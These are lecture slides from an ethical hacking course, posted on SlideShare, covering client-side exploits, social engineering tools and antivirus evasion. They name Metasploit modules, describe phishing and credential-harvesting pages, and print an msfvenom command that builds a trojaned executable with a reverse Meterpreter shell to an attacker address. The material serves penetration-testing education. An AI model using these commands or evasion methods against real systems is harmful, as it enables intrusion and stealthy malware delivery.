SlideShare a Scribd company logo
CNIT 124:
Advanced Ethical
Hacking
Ch 10: Client-Side Exploitation
Rev. 10-26-17
Low-Hanging Fruit
• The weakest defenders have these sorts
of problems
– Vulnerable services listening on network ports
– Unchanged default passwords
– Misconfigured web servers
Defenses
• Install all security patches
• Audit passwords and remove easily-
guessed or easily–cracked ones
• Control user roles
– Regular users don't have administrative rights
on their workstations
– Software is installed and maintained by the
security staff
Other Attacks
• That don't require direct network access
• Target local software—not listening on a
network port
• Payloads
– Bind shell won't work, because such systems
are behind firewalls
– Reverse connections may work
Topics
• Bypassing Filters with Metasploit Payloads
• Client-Side Attacks
– Browser Exploitation
– Running Scripts in a Meterpreter Session
– PDF Exploits
– Java Exploits
– browser_autopwn
Bypassing Filters with
Metasploit Payloads
All Ports
• Filters may not allow an outgoing
connection to port 4444 (Metasploit's
reverse_tcp default)
– But it may allow connections to ports 80 or 443
• reverse_tcp_allports payload will try all
ports
– First it tries LPORT, then all other ports
– May cause target application to hang for a long
time
HTTP and HTTPS Payloads
• Traffic follows HTTP and HTTPS
specifications
• Packet-based, not stream-based like TCP
payloads
• Interrupted sessions can recover and
reconnect
Proxy Servers
• HTTP and HTTPS payloads use the Internet
Explorer proxy settings
– May fail when running as SYSTEM because
those proxy settings are not defined
• reverse_http_proxy payload allows the
attacker to manually specify proxy
settings
Client-Side Attacks
Local Attacks
• Attacking Web browsers, document viewers,
music players, etc.
– Create malicious file
– Trick user into opening it on the target system
– Then the machine makes a connection back to the
attacker
• Such attacks are more important in
penetration tests
– Because more companies are finding and fixing
network-listening vulnerabilities
Attacking Through NAT
• Workstations and mobile devices typically
lack a public IP address
– They cannot be directly attacked
– But they can still make outgoing connections
to the attacker (reverse)
– BUT it all relies on social engineering
– Target must open a file, or click a link
Browser Exploitation
Malicious Web
Page
• Get user to visit a
malicious Web
page
• Hijack execution in
the browser and
execute a payload
Aurora Attack
• Chinese hackers used it against Google,
Adobe, and Yahoo!
• A zero-day IE vulnerability
– After this attack, Google switched to Chrome
• Metasploit module
– exploit/windows/browser/ms10_002_aurora
Running Scripts in a
Meterpreter Session
Normal IE Attack
• Start a malicious Web server
Open the Malicious Page
Own the Target
Meterpreter Lives in a Process
• Terminating this process kills the
Meterpreter session
Migrate Script
Info About Migrate
AutoRunScript
Explorer.exe
• Draws the desktop and the Start button
• Runs until the user logs out
PDF Exploits
Adobe Reader Vulns
• Not as many as there used to be
– Link Ch 10a
Adobe PDF Embedded EXE Social
Engineering
• Not considered a coding error to be patched
• A feature of Adobe Reader that can be
abused
• exploit/windows/fileformat/
adobe_pdf_embedded_exe
• Does not work on Adobe Reader 8.12 on
Windows Server 2008
• Does not work in Adobe Reader DC on Win 7
Vulnerable Form
• Link Ch 10b
Warning Message
CNIT 124 Ch10-12: Local Exploits through Bypassing AV
Java Exploits
Multiplatform
• Java is very popular because the same
code can be run in a Java Virtual Machine
on any platform
– Windows, Mac, Linux, Android
• Therefore exploitation is also
multiplatform
• Must trick user into opening a malicious
URL
Warning Message
Nothing Very Recent
browser_autopwn
Start All The Modules
20 Modules
Results
• IE 11 on Win 7: FAILS because I don't have
Java installed
• Firefox 41.0 on Win7 FAILS
• Chrome 46.0.2490.80 on Win 7 FAILS
IE 7 on Win Server 2008
IE 7 on Win Server 2008
IE 7 on Win Server 2008
IE 7 on Win Server 2008

FAILS
CNIT 124:
Advanced Ethical
Hacking
Ch 11: Social Engineering
Spear-Phishing Attacks
Many Attack Options
CNIT 124 Ch10-12: Local Exploits through Bypassing AV
Gmail Blocks It
• Default Metasploit payloads are blocked
by virus scanners
Web Attacks
Web Attack Options
Attack Explanations
• "Metasploit Browser Expoit Method" is like
browser_autopwn
• Credential Harvester makes fake login
pages
• Tabnapping says "Please Wait" and when
the user clicks on another tab, changes to
a fake login page
Broken in Kali 2
• The update option is broken
• You can force an update (link Ch 11a)
• But even then, Credential Harvester is
broken
– Because it uses /var/www instead of /var/
www/html
CNIT 124:
Advanced Ethical
Hacking
Ch 12: Bypassing Antivirus
Applications
Trojans
• Add malware to existing executables with
msfvenom
• Only works with files that don't check
integrity with hash values or signatures
• msfvenom -p windows/meterpreter/
reverse_tcp LHOST=192.168.119.130
LPORT=2345 -x /root/Desktop/notepad+
+.exe -k -f exe > evilnotepad++.exe
AV
• This trojan works on Win 7, but many AV
products catch it
Encoding
• Metasploit includes encoding engines, like
shikata_ga_nai, but the AV vendors are on
to them and they actually make the
trojan more detectable
Cross-Compiling
• You can export the malware as C code and
compile it, adding a random value
– Still, almost as many AV vendors catch it
• Exporting malware as Python and then
compiling it on Windows to an EXE worked
well for me a couple of years ago
– Clumsy process, produces large EXE files
Encrypting with Hyperion
• Hyperion encrypts the file with AES, and
with a key drawn from a small portion of
the possible keyspace
• Then deletes the key
• When run, it brute-forces the key
• This fooled Microsoft Security Essentials,
but not many other AV engines
Veil-Evasion
• Big, powerful
program
• Takes a while
to install on
Kali
• Results are
not
impressive
CNIT 124 Ch10-12: Local Exploits through Bypassing AV

More Related Content

PDF
CNIT 124 Ch 13: Post Exploitation (Part 1)
PDF
Ch 10: Attacking Back-End Components
PDF
CNIT 123 Ch 10: Hacking Web Servers
PDF
CNIT 129S Ch 4: Mapping the Application
PDF
Ch 3: Web Application Technologies
PDF
CNIT 127: 8: Windows overflows (Part 2)
PDF
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
PDF
CNIT 126: Ch 2 & 3
CNIT 124 Ch 13: Post Exploitation (Part 1)
Ch 10: Attacking Back-End Components
CNIT 123 Ch 10: Hacking Web Servers
CNIT 129S Ch 4: Mapping the Application
Ch 3: Web Application Technologies
CNIT 127: 8: Windows overflows (Part 2)
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
CNIT 126: Ch 2 & 3

What's hot (20)

PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
PDF
Ch 10: Hacking Web Servers
PDF
CNIT 126 11. Malware Behavior
PDF
CNIT 126 Ch 11: Malware Behavior
PDF
CNIT 129: 6. Attacking Authentication
PDF
CNIT 129S - Ch 3: Web Application Technologies
PDF
CNIT 126: 10: Kernel Debugging with WinDbg
PDF
CNIT 128 9. Writing Secure Android Applications
PDF
CNIT 127: L9: Web Templates and .NET
PDF
CNIT 129S: 9: Attacking Data Stores (Part 1 of 2)
PDF
CNIT 128 3. Attacking iOS Applications (Part 2)
PDF
CNIT 128: 3. Attacking iOS Applications (Part 2)
PDF
CNIT 126 Ch 0: Malware Analysis Primer & 1: Basic Static Techniques
PDF
CNIT 123: 6: Enumeration
PDF
Ch 9 Attacking Data Stores (Part 2)
PDF
Practical Malware Analysis Ch 14: Malware-Focused Network Signatures
PDF
CNIT 128 8. Android Implementation Issues (Part 3)
PDF
Ch 6: Attacking Authentication
PDF
Ch 8: Desktop and Server OS Vulnerabilites
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
Ch 10: Hacking Web Servers
CNIT 126 11. Malware Behavior
CNIT 126 Ch 11: Malware Behavior
CNIT 129: 6. Attacking Authentication
CNIT 129S - Ch 3: Web Application Technologies
CNIT 126: 10: Kernel Debugging with WinDbg
CNIT 128 9. Writing Secure Android Applications
CNIT 127: L9: Web Templates and .NET
CNIT 129S: 9: Attacking Data Stores (Part 1 of 2)
CNIT 128 3. Attacking iOS Applications (Part 2)
CNIT 128: 3. Attacking iOS Applications (Part 2)
CNIT 126 Ch 0: Malware Analysis Primer & 1: Basic Static Techniques
CNIT 123: 6: Enumeration
Ch 9 Attacking Data Stores (Part 2)
Practical Malware Analysis Ch 14: Malware-Focused Network Signatures
CNIT 128 8. Android Implementation Issues (Part 3)
Ch 6: Attacking Authentication
Ch 8: Desktop and Server OS Vulnerabilites
Ad

Similar to CNIT 124 Ch10-12: Local Exploits through Bypassing AV (20)

PDF
White Lightning Sept 2014
PPT
PPTX
Client side exploits
PDF
Hack Attack! An Introduction to Penetration Testing
PDF
01_Metasploit - The Elixir of Network Security
PPTX
Metasploit (Module-1) - Getting Started With Metasploit
PDF
Client-Side Penetration Testing Presentation
PPTX
Finalppt metasploit
PPTX
Hacker tooltalk: Social Engineering Toolkit (SET)
PDF
Hacker halted2
PDF
Metasploitation part-1 (murtuja)
PDF
Pen-Testing with Metasploit
DOCX
Backtrack Manual Part9
PDF
24 33 -_metasploit
PDF
Metasploit Computer security testing tool
PDF
Compromising windows 8 with metasploit’s exploit
PDF
Layer8 exploitation: Lock'n Load Target
PDF
Exploits Attack on Windows Vulnerabilities
PPTX
Metasploit
PPTX
BSides_Charm2015_Info sec hunters_gathers
White Lightning Sept 2014
Client side exploits
Hack Attack! An Introduction to Penetration Testing
01_Metasploit - The Elixir of Network Security
Metasploit (Module-1) - Getting Started With Metasploit
Client-Side Penetration Testing Presentation
Finalppt metasploit
Hacker tooltalk: Social Engineering Toolkit (SET)
Hacker halted2
Metasploitation part-1 (murtuja)
Pen-Testing with Metasploit
Backtrack Manual Part9
24 33 -_metasploit
Metasploit Computer security testing tool
Compromising windows 8 with metasploit’s exploit
Layer8 exploitation: Lock'n Load Target
Exploits Attack on Windows Vulnerabilities
Metasploit
BSides_Charm2015_Info sec hunters_gathers
Ad

More from Sam Bowne (20)

PDF
Introduction to the Class & CISSP Certification
PDF
Cyberwar
PDF
3: DNS vulnerabilities
PDF
8. Software Development Security
PDF
4 Mapping the Application
PDF
3. Attacking iOS Applications (Part 2)
PDF
12 Elliptic Curves
PDF
11. Diffie-Hellman
PDF
2a Analyzing iOS Apps Part 1
PDF
9 Writing Secure Android Applications
PDF
12 Investigating Windows Systems (Part 2 of 3)
PDF
10 RSA
PDF
12 Investigating Windows Systems (Part 1 of 3
PDF
9. Hard Problems
PDF
8 Android Implementation Issues (Part 1)
PDF
11 Analysis Methodology
PDF
8. Authenticated Encryption
PDF
7. Attacking Android Applications (Part 2)
PDF
7. Attacking Android Applications (Part 1)
PDF
5. Stream Ciphers
Introduction to the Class & CISSP Certification
Cyberwar
3: DNS vulnerabilities
8. Software Development Security
4 Mapping the Application
3. Attacking iOS Applications (Part 2)
12 Elliptic Curves
11. Diffie-Hellman
2a Analyzing iOS Apps Part 1
9 Writing Secure Android Applications
12 Investigating Windows Systems (Part 2 of 3)
10 RSA
12 Investigating Windows Systems (Part 1 of 3
9. Hard Problems
8 Android Implementation Issues (Part 1)
11 Analysis Methodology
8. Authenticated Encryption
7. Attacking Android Applications (Part 2)
7. Attacking Android Applications (Part 1)
5. Stream Ciphers

Recently uploaded (20)

PDF
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PPTX
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
PPTX
Renaissance Architecture: A Journey from Faith to Humanism
PDF
Pre independence Education in Inndia.pdf
PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PPTX
Cell Types and Its function , kingdom of life
PPTX
GDM (1) (1).pptx small presentation for students
PPTX
PPH.pptx obstetrics and gynecology in nursing
PDF
O7-L3 Supply Chain Operations - ICLT Program
PDF
Anesthesia in Laparoscopic Surgery in India
PDF
Insiders guide to clinical Medicine.pdf
PDF
The Lost Whites of Pakistan by Jahanzaib Mughal.pdf
PDF
01-Introduction-to-Information-Management.pdf
PDF
Basic Mud Logging Guide for educational purpose
PDF
Classroom Observation Tools for Teachers
PDF
Supply Chain Operations Speaking Notes -ICLT Program
PDF
Computing-Curriculum for Schools in Ghana
PDF
FourierSeries-QuestionsWithAnswers(Part-A).pdf
PDF
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
Final Presentation General Medicine 03-08-2024.pptx
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
Renaissance Architecture: A Journey from Faith to Humanism
Pre independence Education in Inndia.pdf
human mycosis Human fungal infections are called human mycosis..pptx
Cell Types and Its function , kingdom of life
GDM (1) (1).pptx small presentation for students
PPH.pptx obstetrics and gynecology in nursing
O7-L3 Supply Chain Operations - ICLT Program
Anesthesia in Laparoscopic Surgery in India
Insiders guide to clinical Medicine.pdf
The Lost Whites of Pakistan by Jahanzaib Mughal.pdf
01-Introduction-to-Information-Management.pdf
Basic Mud Logging Guide for educational purpose
Classroom Observation Tools for Teachers
Supply Chain Operations Speaking Notes -ICLT Program
Computing-Curriculum for Schools in Ghana
FourierSeries-QuestionsWithAnswers(Part-A).pdf
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf

CNIT 124 Ch10-12: Local Exploits through Bypassing AV

  • 1. CNIT 124: Advanced Ethical Hacking Ch 10: Client-Side Exploitation Rev. 10-26-17
  • 2. Low-Hanging Fruit • The weakest defenders have these sorts of problems – Vulnerable services listening on network ports – Unchanged default passwords – Misconfigured web servers
  • 3. Defenses • Install all security patches • Audit passwords and remove easily- guessed or easily–cracked ones • Control user roles – Regular users don't have administrative rights on their workstations – Software is installed and maintained by the security staff
  • 4. Other Attacks • That don't require direct network access • Target local software—not listening on a network port • Payloads – Bind shell won't work, because such systems are behind firewalls – Reverse connections may work
  • 5. Topics • Bypassing Filters with Metasploit Payloads • Client-Side Attacks – Browser Exploitation – Running Scripts in a Meterpreter Session – PDF Exploits – Java Exploits – browser_autopwn
  • 7. All Ports • Filters may not allow an outgoing connection to port 4444 (Metasploit's reverse_tcp default) – But it may allow connections to ports 80 or 443 • reverse_tcp_allports payload will try all ports – First it tries LPORT, then all other ports – May cause target application to hang for a long time
  • 8. HTTP and HTTPS Payloads • Traffic follows HTTP and HTTPS specifications • Packet-based, not stream-based like TCP payloads • Interrupted sessions can recover and reconnect
  • 9. Proxy Servers • HTTP and HTTPS payloads use the Internet Explorer proxy settings – May fail when running as SYSTEM because those proxy settings are not defined • reverse_http_proxy payload allows the attacker to manually specify proxy settings
  • 11. Local Attacks • Attacking Web browsers, document viewers, music players, etc. – Create malicious file – Trick user into opening it on the target system – Then the machine makes a connection back to the attacker • Such attacks are more important in penetration tests – Because more companies are finding and fixing network-listening vulnerabilities
  • 12. Attacking Through NAT • Workstations and mobile devices typically lack a public IP address – They cannot be directly attacked – But they can still make outgoing connections to the attacker (reverse) – BUT it all relies on social engineering – Target must open a file, or click a link
  • 14. Malicious Web Page • Get user to visit a malicious Web page • Hijack execution in the browser and execute a payload
  • 15. Aurora Attack • Chinese hackers used it against Google, Adobe, and Yahoo! • A zero-day IE vulnerability – After this attack, Google switched to Chrome • Metasploit module – exploit/windows/browser/ms10_002_aurora
  • 16. Running Scripts in a Meterpreter Session
  • 17. Normal IE Attack • Start a malicious Web server
  • 20. Meterpreter Lives in a Process • Terminating this process kills the Meterpreter session
  • 24. Explorer.exe • Draws the desktop and the Start button • Runs until the user logs out
  • 26. Adobe Reader Vulns • Not as many as there used to be – Link Ch 10a
  • 27. Adobe PDF Embedded EXE Social Engineering • Not considered a coding error to be patched • A feature of Adobe Reader that can be abused • exploit/windows/fileformat/ adobe_pdf_embedded_exe • Does not work on Adobe Reader 8.12 on Windows Server 2008 • Does not work in Adobe Reader DC on Win 7
  • 32. Multiplatform • Java is very popular because the same code can be run in a Java Virtual Machine on any platform – Windows, Mac, Linux, Android • Therefore exploitation is also multiplatform • Must trick user into opening a malicious URL
  • 36. Start All The Modules
  • 38. Results • IE 11 on Win 7: FAILS because I don't have Java installed • Firefox 41.0 on Win7 FAILS • Chrome 46.0.2490.80 on Win 7 FAILS
  • 39. IE 7 on Win Server 2008
  • 40. IE 7 on Win Server 2008
  • 41. IE 7 on Win Server 2008
  • 42. IE 7 on Win Server 2008
 FAILS
  • 43. CNIT 124: Advanced Ethical Hacking Ch 11: Social Engineering
  • 47. Gmail Blocks It • Default Metasploit payloads are blocked by virus scanners
  • 50. Attack Explanations • "Metasploit Browser Expoit Method" is like browser_autopwn • Credential Harvester makes fake login pages • Tabnapping says "Please Wait" and when the user clicks on another tab, changes to a fake login page
  • 51. Broken in Kali 2 • The update option is broken • You can force an update (link Ch 11a) • But even then, Credential Harvester is broken – Because it uses /var/www instead of /var/ www/html
  • 52. CNIT 124: Advanced Ethical Hacking Ch 12: Bypassing Antivirus Applications
  • 53. Trojans • Add malware to existing executables with msfvenom • Only works with files that don't check integrity with hash values or signatures • msfvenom -p windows/meterpreter/ reverse_tcp LHOST=192.168.119.130 LPORT=2345 -x /root/Desktop/notepad+ +.exe -k -f exe > evilnotepad++.exe
  • 54. AV • This trojan works on Win 7, but many AV products catch it
  • 55. Encoding • Metasploit includes encoding engines, like shikata_ga_nai, but the AV vendors are on to them and they actually make the trojan more detectable
  • 56. Cross-Compiling • You can export the malware as C code and compile it, adding a random value – Still, almost as many AV vendors catch it • Exporting malware as Python and then compiling it on Windows to an EXE worked well for me a couple of years ago – Clumsy process, produces large EXE files
  • 57. Encrypting with Hyperion • Hyperion encrypts the file with AES, and with a key drawn from a small portion of the possible keyspace • Then deletes the key • When run, it brute-forces the key • This fooled Microsoft Security Essentials, but not many other AV engines
  • 58. Veil-Evasion • Big, powerful program • Takes a while to install on Kali • Results are not impressive